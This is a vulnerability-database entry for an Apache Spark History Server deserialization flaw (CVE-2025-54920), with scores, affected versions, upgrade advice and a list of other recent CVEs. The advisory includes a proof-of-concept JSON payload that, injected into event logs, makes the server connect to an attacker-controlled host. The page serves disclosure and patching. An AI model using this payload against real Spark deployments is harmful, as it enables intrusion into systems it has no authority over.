Search covers the description text, product and vendor names and weakness types (also partial words).

CVE-2025-54920
apache spark

Score8.8 High
CVSS 3.1
Exploit probability (EPSS)6.5%
within the next 30 days
CategoryCode execution & injection
Published16 March 2026
Last modified: 17 June 2026

In short

This vulnerability can be exploited remotely over the network, with a regular user account, without any user interaction.

A successful attack has high impact: reading confidential data, modifying data, crashing the system or making it unavailable.

Weakness type: Deserialization of untrusted data.

✨ AI commentary

After a short ad, a plain-language commentary on this vulnerability is shown. AI can make mistakes; base decisions on the official sources.

Official description

This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server. Details The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization. The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability. Proof of Concept: 1. Run Spark with event logging enabled, writing to a writable directory (spark-logs). 2. Inject the following JSON at the beginning of an event log file: { "Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } } 3. Start the Spark History Server with logs pointing to the modified directory. 4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection. Impact An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.

CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Weakness: CWE-502 – Deserialization of untrusted data

Affected products

VendorProductVersions
apachespark<3.5.7
apachespark4.0.0
apachespark4.0.1

Sources

Latest in the same category

  • CVE-2026-139895 Low 2.1
    A vulnerability was determined in itsourcecode Stock Management System 1.0. The impacted element is an unknown function of the file fetchOrderData.php. Executing a manipulation of the argument orderId can lead to sql…
    Code execution & injection · 1 December 2026
  • CVE-2026-140281 Critical 9.2
    GPT-SoVITS through 20250606v2pro contains an unsafe deserialization vulnerability in the api.py /set_model endpoint that allows unauthenticated attackers to load arbitrary model checkpoints. Attackers can set…
    Code execution & injection · 1 December 2026
  • CVE-2026-121479 Medium 6.3
    A flaw was found in sequoia-sq. This vulnerability can lead to arbitrary code execution when the tool displays suggested command hints derived from untrusted inputs, such as user identities. Because command arguments…
    Code execution & injection · 1 December 2026
  • CVE-2026-139863 Medium 5.5
    A weakness has been identified in itsourcecode Stock Management System 1.0. This affects an unknown part of the file php_action/fetchProductImageUrl.php. This manipulation of the argument i causes sql injection. The…
    Code execution & injection · 30 November 2026
  • CVE-2026-139862 Medium 5.5
    A vulnerability was identified in itsourcecode Stock Management System 1.0. Affected by this vulnerability is an unknown functionality of the file php_action/fetchSelectedCategories.php. The manipulation of the…
    Code execution & injection · 30 November 2026
  • CVE-2026-139861 Medium 5.5
    A vulnerability was determined in itsourcecode Stock Management System 1.0. Affected is an unknown function of the file php_action/fetchSelectedBrand.php. Executing a manipulation of the argument brandId can lead to…
    Code execution & injection · 30 November 2026